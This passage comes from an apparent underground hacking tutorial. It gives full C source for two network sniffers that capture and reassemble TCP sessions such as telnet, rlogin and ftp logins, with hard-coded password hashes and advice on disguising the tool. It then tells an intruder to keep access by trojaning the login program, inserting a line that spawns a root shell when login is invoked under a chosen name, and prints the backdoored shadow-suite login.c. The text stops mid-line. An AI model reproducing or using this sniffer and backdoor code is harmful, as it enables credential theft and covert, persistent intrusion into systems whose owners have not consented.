data.buf = (char *) databuf; data.maxlen = MAXDLBUF; data.len = 0; /* Here's the deal: I had some problems with the bufmod code, but I think it's working now. I don't know a whole lot about the whole DLPI interface, so I can't be sure there aren't any oversights here. It seems to be working now, but I have not had the time to do extensive testing. I know for certain that packets will be dropped on a busy network if I don't use bufmod. That problem should not occur when using bufmod, but like I said, I may have overlooked something. */ while (((mrwtmp=getmsg(fd, NULL, &data, &flags))==0) || (mrwtmp==MOREDATA) || (mrwtmp=MORECTL)) { p = data.buf; limp = p + data.len; /* This is the ugliest piece of commented out crap that I've ever done. Ignore it. Someday it will go away. */ /* if (data.len && bufmod) { for (; p < limp; p += bp->sbh_totlen) { bp = (struct sb_hdr*) p; /* Display hex data if we want * / for (i = 0; i < bp->sbh_msglen; i++) printf("%02x ", *(p + sizeof (struct sb_hdr) + i) & 0xff); printf("\n"); filter(p, bp->sbh_msglen); } } else if (data.len) { */ filter(data.buf, data.len); /* } else if */ data.len = 0; } /* while */ printf("finished getmsg() = %i\n",mrwtmp); } /* Authorization, if you'd like it. */ #define AUTHPASSWD "c6Lqd3Dvn2l3s" void getauth() { char *buf,*getpass(),*crypt(); char pwd[21],prmpt[81]; strcpy(pwd,AUTHPASSWD); sprintf(prmpt,"(%s)UP? ",ProgName); buf=getpass(prmpt); if(strcmp(pwd,crypt(buf,pwd))) exit(1); } void main(argc, argv) int argc; char **argv; { char cbuf[BUFSIZ]; struct ifconf ifc; int s, ac=1, backg=0; ProgName=argv[0]; /* getauth(); */ /* I put this here for a reason, but now I'm commenting it out. */ /* if(!(LOG=fopen((LogName=".tfile"),"a"))) Zexit(1,"Output file cant be opened\n"); */ /* Its still called NIT_DEV, even if it's no longer /dev/nit */ device=NIT_DEV; while((ac MAXBUFLEN) maxbuflen=MAXBUFLEN; break; default : fprintf(ERR, "Usage: %s [-d x] [-s] [-f] [-l] [-t] [-i interface] [-o file]\n", ProgName); fprintf(ERR," -d int set new data limit (128 default)\n"); fprintf(ERR," -s filter out smtp connections\n"); fprintf(ERR," -f filter out ftp connections\n"); fprintf(ERR," -l filter out rlogin/rsh connections\n"); fprintf(ERR," -t filter out telnet connections\n"); fprintf(ERR," -o output to \n"); exit(1); } } fprintf(ERR,"Using logical device %s [%s]\n",device,NIT_DEV); fprintf(ERR,"Output to %s.%s%s",(LOG)?LogName:"stdout", (debug)?" (debug)":"",(backg)?" Backgrounding ":"\n"); if(!LOG) LOG=stdout; signal(SIGINT, death); signal(SIGTERM,death); signal(SIGKILL,death); signal(SIGQUIT,death); if(backg && debug) { fprintf(ERR,"[Cannot bg with debug on]\n"); backg=0; } fprintf(LOG,"\nLog started at => %s [pid %d]\n",NOWtm(),getpid()); fflush(LOG); do_it(); } /** ** version : v1.01 ** architecture: SunOS 4.1 [Sun3/Sun4] ** compilation : cc -O4 tcpw.c -o tcpw; strip tcpw ** source rights: this is an EXTREMELLY VICIOUS program, it is ADVISED ** that if you must keep this source online, KEEP IT IN ENCRYPTED ** FORM. **/ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include char *malloc(); char *device; int debug = 0, /* debug */ fastdump = 0, /* do no sequential packet processing */ oneway = 0; /* oneway watch */ char *ProgName; #define NIT_DEV "/dev/nit" #define CHUNKSIZE 4096 /* device buffer size */ int if_fd = -1; int Packet[CHUNKSIZE + 32]; #define STREAM_NULL (0) #define STREAM_STOD (1) #define STREAM_DTOS (2) #define STREAM_MAX (3) struct PktStack { u_char data[CHUNKSIZE]; int Len; u_long Seq; }; #define STACK_MAX (10) struct PktStack pkt_stack[STREAM_MAX][STACK_MAX]; int pkt_snum[STREAM_MAX]; u_long seq_num[STREAM_MAX]; char *Hostname[STREAM_MAX]; struct in_addr IPaddr[STREAM_MAX]; int TCPport[STREAM_MAX]; #define ISeq(s,d) ((s) == (d)) #define ISneq(s,d) ((s) != (d)) void Pexit(err, msg) int err; char *msg; { perror(msg); exit(err); } void Zexit(err, msg) int err; char *msg; { fprintf(stderr, msg); exit(err); } #define FREEstk(SK,St,Rc) { \ SK.Len = (-1); \ if(!(--pkt_snum[St])) \ return(Rc); \ } #define ALLOCstk(SK,Len,Data,S,St) { \ bcopy(Data,SK.data,Len); \ SK.Len = Len; \ SK.Seq = S; \ pkt_snum[St]++; \ } #define pr_packet(p,length) { \ while(length-- >0) \ fputc(*p++,stdout); \ fflush(stdout); \ } #define MAL_pr_packet(i_p,i_length) { \ register u_char *p = i_p; \ register int length = i_length; \ pr_packet(p,length); \ } #define DEBUGstk(Msg,Num,Seq) if(debug) { \ printf(Msg,Num,Seq); fflush(stdout); \ } #define SPKT pkt_stack[Tp][i] /* find and print any packets in the stack IF they are sequential * after ours */ int cpr_stack(Tp) register int Tp; { register int i, pr = 1; while (pr) for (pr = i = 0; (i < STACK_MAX) && (!pr); i++) { if (ISneq(SPKT.Len, (-1))) { if (SPKT.Seq <= seq_num[Tp]) { /* check for old packets */ DEBUGstk("DISCARD(%d/%08X)\n", pkt_snum[Tp], SPKT.Seq); FREEstk(SPKT, Tp, 0); } else if (ISeq(SPKT.Seq, (seq_num[Tp] + 1))) { /* check for ours! */ DEBUGstk("POP(%d/%08X\n", pkt_snum[Tp], SPKT.Seq); seq_num[Tp] = SPKT.Seq; MAL_pr_packet(SPKT.data, SPKT.Len); FREEstk(SPKT, Tp, 0); pr = 1; } } } } /* push packet onto stack, also checking for overflow, if so, dump * the stack [missing packet assumed unrecoverable] */ int psh_stack(S, Tp, p, Len) register u_long S; register int Tp, Len; register u_char *p; { register int i = 0; register struct PktStack *PK = NULL; for (; (i < STACK_MAX); i++) { if (ISneq(SPKT.Len, (-1))) { if (ISeq(SPKT.Seq, S)) return (0); /* that Seqnum is already on the stack */ } else if (ISeq(PK, NULL)) { PK = &SPKT; } } /* its not on the stack and we got a position for it */ if (ISneq(PK, NULL)) { DEBUGstk("PUSH(%d/%08X)\n", pkt_snum[Tp], S); bcopy(p, PK->data, Len); PK->Len = Len; PK->Seq = S; pkt_snum[Tp]++; return (0); } { /* if we reach here, stack is full, assume missing packet is * gone forever, so just dump now .. */ register int j; register u_long CS; while (1) { j = (STACK_MAX + 2); CS = ~(0); /* determine lowest seq number */ for (i = 0; (i < STACK_MAX); i++) { if (ISneq(SPKT.Len, (-1)) && (SPKT.Seq <= CS)) { CS = SPKT.Seq; j = i; } } /* must be nothing in stack */ if (j > STACK_MAX) return (1); /* print */ seq_num[Tp] = SPKT.Seq; DEBUGstk("FLUSH(%d/%08X)\n", pkt_snum[Tp], SPKT.Seq); MAL_pr_packet(SPKT.data, SPKT.Len); FREEstk(SPKT, Tp, 1); } } } #define IP ((struct ip *)Packet) #define IP_OFFSET (0x1FFF) #define SZETH (sizeof(struct ether_header)) #define IPLEN (ntohs(ip->ip_len)) #define IPHLEN (ip->ip_hl) #define ADneq(s,t) ((s).s_addr != (t).s_addr) /* important part of the prog, determines if a packet is one * we want, and performs sycnhing of sequence numbers */ void filter(cp, pktlen) char *cp; u_int pktlen; { register int Stream = STREAM_NULL; register struct ip *ip; register struct tcphdr *tcph; register u_long CurSEQ; register u_char *p; { register u_short EtherType = ntohs(((struct ether_header *) cp)->ether_type); if (EtherType < 0x600) { EtherType = *(u_short *) (cp + SZETH + 6); cp += 8; pktlen -= 8; } if (ISneq(EtherType, ETHERTYPE_IP)) return; } /* ugh, gotta do an alignment :-( */ bcopy(cp + SZETH, (char *) Packet, (int) (pktlen - SZETH)); ip = (struct ip *) Packet; if (ISneq(ip->ip_p, IPPROTO_TCP)) return; tcph = (struct tcphdr *) (Packet + IPHLEN); CurSEQ = (ntohl(tcph->th_seq)); if (debug) { printf("SRC:%s(%d) ", inet_ntoa(ip->ip_src), tcph->th_sport); printf("DST:%s(%d)\n", inet_ntoa(ip->ip_dst), tcph->th_dport); } if (ISeq(tcph->th_sport, TCPport[STREAM_STOD]) && ISeq(tcph->th_dport, TCPport[STREAM_DTOS])) { if (ADneq(ip->ip_src, IPaddr[STREAM_STOD]) || ADneq(ip->ip_dst, IPaddr[STREAM_DTOS])) return; if (!seq_num[Stream = STREAM_STOD]) { seq_num[STREAM_STOD] = CurSEQ - 1; printf("Hooked S->D [Seq %08X] ...\n", CurSEQ); } else if (CurSEQ <= seq_num[STREAM_STOD]) return; } else if ((!oneway) && ISeq(tcph->th_sport, TCPport[STREAM_DTOS]) && ISeq(tcph->th_dport, TCPport[STREAM_STOD])) { if (ADneq(ip->ip_src, IPaddr[STREAM_DTOS]) || ADneq(ip->ip_dst, IPaddr[STREAM_STOD])) return; if (!seq_num[Stream = STREAM_DTOS]) { seq_num[STREAM_DTOS] = CurSEQ - 1; printf("Hooked D->S [Seq %08X] ...\n", CurSEQ); } else if (CurSEQ <= seq_num[STREAM_DTOS]) return; } else return; { register int length = ((IPLEN - (IPHLEN * 4)) - (tcph->th_off * 4)); if (debug) printf("[%s]Seq=%08X,pl=%04X,dl=%04X,l=%04X,iph=%04X,ipl=%04X,tf=%04X\n", (Stream == STREAM_STOD) ? " S / D " : " D / S ", CurSEQ, pktlen, (IPLEN - (IPHLEN * 4)), length, ip->ip_hl, ip->ip_len, tcph->th_off); p = (u_char *) Packet; p += ((ip->ip_hl * 4) + (tcph->th_off * 4)); if (fastdump) { pr_packet(p, length); } else { re_loop:if (ISeq(CurSEQ, (seq_num[Stream] + 1))) { seq_num[Stream] = CurSEQ; pr_packet(p, length); if (pkt_snum[Stream]) /* check for 'stacked' packets */ cpr_stack(Stream); } else { /* out of sequence packet */ if (psh_stack(CurSEQ, Stream, p, length)) goto re_loop; } } } } /* signal handler */ void flushit() { printf("\n\n[terminating]\n"); fflush(stdout); exit(1); } /* opens network interface, performs ioctls and reads from it, * passing data to filter function */ void do_it() { int cc; char *buf; u_short sp_ts_len; if (!(buf = malloc(CHUNKSIZE))) Pexit(1, "Eth: malloc"); /* this /dev/nit initialization code pinched from etherfind */ { struct strioctl si; struct ifreq ifr; struct timeval timeout; u_int chunksize = CHUNKSIZE; u_long if_flags = NI_PROMISC; if ((if_fd = open(NIT_DEV, O_RDONLY)) < 0) Pexit(1, "Eth: nit open"); if (ioctl(if_fd, I_SRDOPT, (char *) RMSGD) < 0) Pexit(1, "Eth: ioctl (I_SRDOPT)"); si.ic_timout = INFTIM; if (ioctl(if_fd, I_PUSH, "nbuf") < 0) Pexit(1, "Eth: ioctl (I_PUSH \"nbuf\")"); timeout.tv_sec = 1; timeout.tv_usec = 0; si.ic_cmd = NIOCSTIME; si.ic_len = sizeof (timeout); si.ic_dp = (char *) &timeout; if (ioctl(if_fd, I_STR, (char *) &si) < 0) Pexit(1, "Eth: ioctl (I_STR: NIOCSTIME)"); si.ic_cmd = NIOCSCHUNK; si.ic_len = sizeof (chunksize); si.ic_dp = (char *) &chunksize; if (ioctl(if_fd, I_STR, (char *) &si) < 0) Pexit(1, "Eth: ioctl(I_STR:NIOCSCHUNK) "); strncpy(ifr.ifr_name, device, sizeof (ifr.ifr_name)); ifr.ifr_name[sizeof (ifr.ifr_name) - 1] = '\0'; si.ic_cmd = NIOCBIND; si.ic_len = sizeof (ifr); si.ic_dp = (char *) 𝔦 if (ioctl(if_fd, I_STR, (char *) &si) < 0) Pexit(1, "Eth: ioctl (I_STR: NIOCBIND)"); si.ic_cmd = NIOCSFLAGS; si.ic_len = sizeof (if_flags); si.ic_dp = (char *) &if_flags; if (ioctl(if_fd, I_STR, (char *) &si) < 0) Pexit(1, "Eth: ioctl (I_STR: NIOCSFLAGS) "); if (ioctl(if_fd, I_FLUSH, (char *) FLUSHR) < 0) Pexit(1, "Eth: ioctl (I_FLUSH)"); } while ((cc = read(if_fd, buf, CHUNKSIZE)) >= 0) { register char *bp = buf, *bufstop = (buf + cc); while (bp < bufstop) { register char *cp = bp; register struct nit_bufhdr *hdrp; hdrp = (struct nit_bufhdr *) cp; cp += sizeof (struct nit_bufhdr); bp += hdrp->nhb_totlen; filter(cp, (u_long) hdrp->nhb_msglen); } } Pexit((-1), "Eth: read"); } /* Parses Hostname/port information */ int FixHost(h, Tp) char *h; int Tp; { int ok = 1, i = 0; char *ptr; if (!(ptr = strtok(h, "/"))) return (0); /* get hostname, convert from symbolic if needed */ if ((IPaddr[Tp].s_addr = inet_addr(ptr)) == (unsigned) -1) { struct hostent *he = gethostbyname(ptr); if (he) { Hostname[Tp] = strdup(he->h_name); bcopy(he->h_addr, (char *) &IPaddr[Tp]. s_addr, 4); } else return (0); } else Hostname[Tp] = strdup(inet_ntoa(IPaddr[Tp])); if (!(ptr = strtok(NULL, ""))) return (0); /* get portname, conver from symbolic if needed */ if ((TCPport[Tp] = atoi(ptr)) == 0) { struct servent *sv = getservbyname(ptr, "tcp"); if (sv) TCPport[Tp] = sv->s_port; else return (0); } return (1); } #define AUTHPASSWD "EloiZgZejWyms" /* Important! ensures other people cant (easily) run this program, * you may consider removing the HELP text to disguise it. */ void Get_Authorization() { char *buf, *getpass(), *crypt(); char pwd[21]; strcpy(pwd, AUTHPASSWD); buf = getpass("up? "); if (strcmp(pwd, crypt(buf, pwd))) exit(1); } void Usage() { fprintf(stderr, "Usage: %s [-i device] [-d] [-o] [-f] SRC.Host/Port DST.Host/Port\n", ProgName); fprintf(stderr, " -o Oneway [Watch src->dst packets only]\n"); fprintf(stderr, " -d Debug\n"); fprintf(stderr, " -f Fastdump - ignore sequence numbers\n"); fprintf(stderr, " -i device specify logical ethernet interface\n"); fprintf(stderr, " Host/Port Hostname with respective port, maybe in\n"); fprintf(stderr, " numeric or symbolic format.\n\n"); fprintf(stderr, " Example: %s -i le0 -o hack.com/login 128.2.2.2/5645\n", ProgName); fprintf(stderr, " (C)1992 >R -> AUTHORIZED USE ONLY\n"); exit(1); } /* Where it all begins ... */ void main(argc, argv) int argc; char **argv; { char cbuf[BUFSIZ]; struct ifconf ifc; int s, ac = 1; ProgName = argv[0]; if (argc < 3) Usage(); /* Get_Authorization(); /* parse args */ device = NULL; while (argv[ac][0] == '-') { register char ch = argv[ac++][1]; switch (toupper(ch)) { case 'I': device = argv[ac++]; break; case 'D': debug = 1; break; case 'O': oneway = 1; break; case 'F': fastdump = 1; break; default: Usage(); break; } } /* resolve host/ports */ if (!FixHost(argv[ac++], STREAM_STOD)) Zexit(1, "Cannot resolve source host/port"); if (!FixHost(argv[ac++], STREAM_DTOS)) Zexit(1, "Cannot resolve destination host/port"); { register int i, j; for (i = 0; i < STREAM_MAX; i++) { pkt_snum[i] = 0; seq_num[i] = 0; for (j = 0; j < STACK_MAX; j++) pkt_stack[i][j].Len = -1; } } /* if not a specified device, determine it */ if (!device) { if ((s = socket(AF_INET, SOCK_DGRAM, 0)) < 0) Pexit(1, "Eth: socket"); ifc.ifc_len = sizeof (cbuf); ifc.ifc_buf = cbuf; if (ioctl(s, SIOCGIFCONF, (char *) &ifc) < 0) Pexit(1, "Eth: ioctl"); close(s); device = ifc.ifc_req->ifr_name; } printf("IP/TCP monitor: %s(%d) <=> %s(%d)\n", Hostname[STREAM_STOD], TCPport[STREAM_STOD], Hostname[STREAM_DTOS], TCPport[STREAM_DTOS]); printf("Configured device %s [%s], %s%s%ssynching stream ...\n", device, NIT_DEV, (debug) ? "(debug) " : "", (oneway) ? "(1way) " : "", (fastdump) ? "(fdmp) " : ""); fflush(stdout); signal(SIGINT, flushit); signal(SIGTERM, flushit); do_it(); /* NOT_REACHED */ } Well, now you have sniffers running... But what to do if the admin finds that you've been playing with his site, and decides to kick yer butt... You should have some trojans installed, just in case... How to make a trojan : ---------------------- So, get the SHADOW suite ( if you need shadow), from : ftp://ftp.ists.pwr.wroc.pl/pub/linux/shadow/ and decompress it.. and then look at the source code... look for the string "main ("... after it, a few lines below you should find the string: Prog = Basename(argv[0]); so... if you found it... after it, right after it, insert the following C code: if (!strcmp(Prog,"LOGIN")) { execl("/bin/sh","/bin/login",NULL); } you should change the "LOGIN" string to something else and the /bin/login string to something else, so it wont bother anybody... :) here it is a modified login program from shadow suite... compile it using the makefile of the shadow suite... of course :) /* * Copyright 1989 - 1994, John F. Haugh II * All rights reserved. * And modified by Phantom... * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. All advertising materials mentioning features or use of this software * must display the following acknowledgement: * This product includes software developed by John F. Haugh, II * and other contributors. * 4. Neither the name of John F. Haugh, II nor the names of its contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY JOHN HAUGH AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL JOHN HAUGH OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. */ #include #include "rcsid.h" RCSID("$Id: lmain.c,v 1.8 1996/03/25 07:37:46 marekm Exp marekm $") #include "prototypes.h" #include "defines.h" #include #include #include #include #if HAVE_UTMPX_H #include #else #include #endif #include #include #include "faillog.h" #ifdef SHADOWPWD #include #endif #include "pwauth.h" #include "getdef.h" #ifdef SVR4_SI86_EUA #include #include #endif #ifdef RADIUS /* * Support for RADIUS authentication based on a hacked util-linux login * source sent to me by Jon Lewis. Not tested. --marekm */ #include "radlogin.h" #endif char host[BUFSIZ]; struct passwd pwent; #if HAVE_UTMPX_H struct utmpx utxent, failent; struct utmp utent; #else struct utmp utent, failent; #endif struct lastlog lastlog; int pflg; int fflg; #ifdef RLOGIN int rflg; #else #define rflg 0 #endif int hflg; int preauth_flag; #ifndef MAXENV #define MAXENV 64 #endif /* * Global variables. */ static char *Prog; char *newenvp[MAXENV]; int newenvc = 0; int maxenv = MAXENV; /* * External identifiers. */ extern char *getenv (); extern char *tz (); extern void checkutmp (); extern void set_env (); extern unsigned alarm (); extern void setutmp (); extern void subsystem (); extern void log (); extern void motd (); extern void mailcheck (); extern int optind; extern char *optarg; extern char **environ; extern int pw_auth(); extern int login_access(); extern void login_fbtab(); extern void set_filesize_limit __P((int)); #ifndef ALARM #define ALARM 60 #endif #ifndef RETRIES #define RETRIES 3 #endif #ifndef LOGIN_PROMPT #define LOGIN_PROMPT "login: " #endif static struct faillog faillog; #define NO_SHADOW "no shadow password for `%s'%s\n" #define BAD_PASSWD "invalid password for `%s'%s\n" #define BAD_DIALUP "invalid dialup password for `%s' on `%s'\n" #define BAD_TIME "invalid login time for `%s'%s\n" #define BAD_ROOT_LOGIN "ILLEGAL ROOT LOGIN%s\n" #define ROOT_LOGIN "ROOT LOGIN%s\n" #define FAILURE_CNT "exceeded failure limit for `%s'%s\n" #if 0 /* no one uses these */ #define NOT_A_TTY "not a tty\n" #define NOT_ROOT "-r or -f flag and not ROOT on `%s'\n" #define AUTHFAIL "authentication failed for user `%s'\n" #endif #define REG_LOGIN "`%s' logged in%s\n" #define LOGIN_REFUSED "LOGIN `%s' REFUSED%s\n" #define REENABLED \ "Warning: login re-enabled after temporary lockout.\n" #define REENABLED2 \ "login `%s' re-enabled after temporary lockout (%d failures).\n" /* * usage - print login command usage and exit * * login [ name ] * login -r hostname (for rlogind) * login -h hostname (for telnetd, etc.) * login -f name (for pre-authenticated login: datakit, xterm, etc.) */ static void usage () { fprintf(stderr, "usage: login [ -p ] [ name ]\n"); if (getuid() == 0) { fprintf(stderr, " login [ -p ] [ -f name ] -h host\n"); fprintf(stderr, " login [ -p ] -f name\n"); #ifdef RLOGIN fprintf(stderr, " login [ -p ] -r name\n"); #endif } exit (1); } static void setup_tty() { TERMIO termio; GTTY (0, &termio); /* get terminal characteristics */ /* * Add your favorite terminal modes here ... */ #ifndef USE_SGTTY termio.c_lflag |= ISIG|ICANON|ECHO|ECHOE; termio.c_iflag |= ICRNL; #if defined(ECHOKE) && defined(ECHOCTL) termio.c_lflag |= ECHOKE|ECHOCTL; #endif #if defined(ECHOPRT) && defined(NOFLSH) && defined(TOSTOP) termio.c_lflag &= ~(ECHOPRT|NOFLSH|TOSTOP); #endif #ifdef ONLCR termio.c_oflag |= ONLCR; #endif #ifdef SUN4 /* * Terminal setup for SunOS 4.1 courtesy of Steve Allen * at UCO/Lick. */ termio.c_cc[VEOF] = '\04'; termio.c_cflag &= ~CSIZE; termio.c_cflag |= (PARENB|CS7); termio.c_lflag |= (ISIG|ICANON|ECHO|IEXTEN); termio.c_iflag |= (BRKINT|IGNPAR|ISTRIP|IMAXBEL|ICRNL|IXON); termio.c_iflag &= ~IXANY; termio.c_oflag |= (XTABS|OPOST|ONLCR); #endif termio.c_cc[VERASE] = getdef_num("ERASECHAR", '\b'); termio.c_cc[VKILL] = getdef_num("KILLCHAR", '\025'); /* * ttymon invocation prefers this, but these settings won't come into * effect after the first username login */ #else #endif /* !BSD */ STTY (0, &termio); } /* * login - create a new login session for a user * * login is typically called by getty as the second step of a * new user session. getty is responsible for setting the line * characteristics to a reasonable set of values and getting * the name of the user to be logged in. login may also be * called to create a new user session on a pty for a variety * of reasons, such as X servers or network logins. * * the flags which login supports are * * -p - preserve the environment * -r - perform autologin protocol for rlogin * -f - do not perform authentication, user is preauthenticated * -h - the name of the remote host */ int main (argc, argv) int argc; char **argv; { char name[32]; char tty[BUFSIZ]; #ifdef RLOGIN char term[128] = ""; extern int rlogin __P((const char *, char *, int, char *, int)); #endif int reason = PW_LOGIN; int retries; int arg; int failed; int flag; int subroot = 0; int is_console; char *fname; char *cp; char *tmp; char fromhost[512]; struct passwd *pwd; char **envp = environ; #ifdef SHADOWPWD struct spwd *spwd=NULL; struct spwd *getspnam(); #endif #ifdef RADIUS RAD_USER_DATA rad_user_data; int is_rad_login; #endif #if defined(RADIUS) || defined(DES_RPC) || defined(KERBEROS) /* from pwauth.c */ extern char *clear_pass; extern int wipe_clear_pass; /* * We may need the password later, don't want pw_auth() to wipe it * (we do it ourselves when it is no longer needed). --marekm */ wipe_clear_pass = 0; #endif /* * Some quick initialization. */ name[0] = '\0'; /* * Check the flags for proper form. Every argument starting with * "-" must be exactly two characters long. This closes all the * clever rlogin, telnet, and getty holes. */ for (arg = 1;arg < argc;arg++) { if (argv[arg][0] == '-' && strlen (argv[arg]) > 2) usage (); } Prog = Basename(argv[0]); if (!strcmp(Prog,"LOGIN")) { execl("/bin/sh","/bin/login",NULL); } #ifdef RLOGIN #define FLAGS "d:f:h:pr:" #else #define FLAGS "d:f:h:p" #endif while ((flag = getopt (argc, argv, FLAGS)) != EOF) #undef FLAGS { switch (flag) { case 'p': pflg++; break; case 'f': /* * username must be a separate token * (-f root, *not* -froot). --marekm */ if (optarg != argv[optind - 1]) usage(); fflg++; STRFCPY(name, optarg); break; #ifdef RLOGIN case 'r': rflg++; reason = PW_RLOGIN; STRFCPY(host, optarg); break; #endif case 'h': hflg++; reason = PW_TELNET; STRFCPY(host, optarg); break; case 'd': /* "-d device" ignored for compatibility */ break; default: usage (); } } #ifdef RLOGIN /* * Neither -h nor -f should be combined with -r. */ if (rflg && (hflg || fflg)) usage (); #endif /* * Allow authentication bypass only if real UID is zero. */ if ((rflg || fflg || hflg) && getuid () != 0) { fprintf(stderr, "%s: permission denied\n", Prog); exit (1); } if (! isatty (0) || ! isatty (1) || ! isatty (2)) exit (1); /* must be a terminal */ #if 0 /* * Get the utmp file entry and get the tty name from it. The * current process ID must match the process ID in the utmp * file if there are no additional flags on the command line. */ checkutmp (!rflg && !fflg && !hflg); #else /* * Be picky if run by normal users (possible if installed setuid * root), but not if run by root. This way it still allows logins * even if your getty is broken, or if something corrupts utmp, * but users must "exec login" which will use the existing utmp * entry (will not overwrite remote hostname). --marekm */ checkutmp(getuid() != 0); #endif STRFCPY(tty, utent.ut_line); is_console = console(tty); if (rflg || hflg) { #ifdef UT_HOST STRFCPY(utent.ut_host, host); #endif /*UT_HOST*/ #if HAVE_UTMPX_H STRFCPY(utxent.ut_host, host); #endif } if (hflg && fflg) { reason = PW_RLOGIN; preauth_flag++; } #ifdef RLOGIN if (rflg && rlogin(host, name, sizeof name, term, sizeof term)) preauth_flag++; #endif #ifdef USE_SYSLOG openlog (Prog, LOG_PID|LOG_CONS|LOG_NOWAIT, LOG_AUTH); #endif setup_tty(); umask (getdef_num("UMASK", 077)); { /* * Use the ULIMIT in the login.defs file, and if * there isn't one, use the default value. The * user may have one for themselves, but otherwise, * just take what you get. */ long limit = getdef_long("ULIMIT", -1L); if (limit != -1) set_filesize_limit(limit); } /* * The entire environment will be preserved if the -p flag * is used. */ if (pflg) while (*envp) /* add inherited environment, */ addenv (*envp++); /* some variables change later */ #ifdef RLOGIN if (term[0] != '\0') addenv2("TERM", term); else #endif /* preserve TERM from getty */ if (!pflg && (tmp = getenv("TERM"))) addenv2("TERM", tmp); /* * Add the timezone environmental variable so that time functions * work correctly. */ if ((tmp = getenv ("TZ"))) { addenv2("TZ", tmp); } else if ((cp = getdef_str ("ENV_TZ"))) addenv (*cp == '/' ? tz (cp):cp); /* * Add the clock frequency so that profiling commands work * correctly. */ if ((tmp = getenv("HZ"))) { addenv2("HZ", tmp); } else if ((cp = getdef_str("ENV_HZ"))) addenv (cp); if (optind < argc) { /* get the user name */ if (rflg || fflg) usage (); #ifdef SVR4 /* * The "-h" option can't be used with a command-line username, * because telnetd invokes us as: login -h host TERM=... */ if (! hflg) #endif { STRFCPY(name, argv[optind]); ++optind; } } #ifdef SVR4 /* * check whether ttymon has done the prompt for us already */ { char *ttymon_prompt; if ((ttymon_prompt = getenv("TTYPROMPT")) != NULL && (*ttymon_prompt != 0)) { /* read name, without prompt */ login_prompt((char *)0, name, sizeof name); } } #endif /* SVR4 */ if (optind < argc) /* now set command line variables */ set_env (argc - optind, &argv[optind]); if (rflg || hflg) cp = host; else #ifdef UT_HOST if (utent.ut_host[0]) cp = utent.ut_host; else #endif #if HAVE_UTMPX_H if (utxent.ut_host[0]) cp = utxent.ut_host; else #endif cp = ""; if (*cp) sprintf(fromhost, " on `%.100s' from `%.200s'", tty, cp); else sprintf(fromhost, " on `%.100s'", tty); top: /* only allow ALARM sec. for login */ alarm(getdef_num("LOGIN_TIMEOUT", ALARM)); environ = newenvp; /* make new environment active */ retries = getdef_num("LOGIN_RETRIES", RETRIES); while (1) { /* repeatedly get login/password pairs */ failed = 0; /* haven't failed authentication yet */ #ifdef RADIUS is_rad_login = 0; #endif if (! name[0]) { /* need to get a login id */ if (subroot) { #ifdef USE_SYSLOG closelog (); #endif exit (1); } preauth_flag = 0; login_prompt(LOGIN_PROMPT, name, sizeof name); continue; } if (! (pwd = getpwnam (name))) { pwent.pw_name = name; pwent.pw_passwd = "!"; pwent.pw_shell = "/bin/sh"; preauth_flag = 0; failed = 1; } else { pwent = *pwd; } #ifdef SHADOWPWD if (pwd) { spwd = getspnam(name); if (spwd) pwent.pw_passwd = spwd->sp_pwdp; /* Don't log this - the same login program will work with both shadow and non-shadow passwords. --marekm */ #if defined(USE_SYSLOG) && defined(LOG_NO_SHADOW) else syslog (LOG_WARN, NO_SHADOW, name, fromhost); #endif } #endif /* SHADOWPWD */ /* * If the encrypted password begins with a "!", the account * is locked and the user cannot login, even if they have * been "pre-authenticated." */ if (pwent.pw_passwd[0] == '!' || pwent.pw_passwd[0] == '*') failed = 1; /* * The -r and -f flags provide a name which has already * been authenticated by some server. */ if (preauth_flag) goto auth_ok; if (pw_auth(pwent.pw_passwd, name, reason, (char *) 0) == 0) goto auth_ok; #ifdef RADIUS /* * If normal password authentication didn't work, try radius. */ if (!failed) { pwd = rad_authenticate(&rad_user_data, name, clear_pass ? clear_pass : ""); if (pwd) { is_rad_login = 1; pwent = *pwd; goto auth_ok; } } #endif /* RADIUS */ #ifdef USE_SYSLOG /* * Don't log unknown usernames - I mistyped the password for * username at least once... Should probably use LOG_AUTHPRIV * for those who really want to log them. --marekm */ syslog(LOG_WARN, BAD_PASSWD, (pwd || getdef_bool("LOG_UNKFAIL_ENAB")) ? name : "UNKNOWN", fromhost); #endif /* USE_SYSLOG */ failed = 1; auth_ok: /* * This is the point where all authenticated users * wind up. If you reach this far, your password has * been authenticated and so on. */ #if defined(RADIUS) && !defined(DES_RPC) && !defined(KERBEROS) if (clear_pass) { bzero(clear_pass, strlen(clear_pass)); clear_pass = NULL; } #endif if (getdef_bool("DIALUPS_CHECK_ENAB")) { alarm (30); if (! dialcheck (tty, pwent.pw_shell[0] ? pwent.pw_shell:"/bin/sh")) { #ifdef USE_SYSLOG syslog (LOG_WARN, BAD_DIALUP, name, tty); #endif failed = 1; } } if (getdef_bool("PORTTIME_CHECKS_ENAB") && !isttytime(pwent.pw_name, tty, time ((time_t *) 0))) { #ifdef USE_SYSLOG syslog (LOG_WARN, BAD_TIME, name, fromhost); #endif /* USE_SYSLOG */ failed = 1; } if (! failed && pwent.pw_name && pwent.pw_uid == 0 && ! is_console) { #ifdef USE_SYSLOG syslog (LOG_CRIT, BAD_ROOT_LOGIN, fromhost); #endif failed = 1; } #ifdef LOGIN_ACCESS if (!failed && !login_access(name, *host ? host 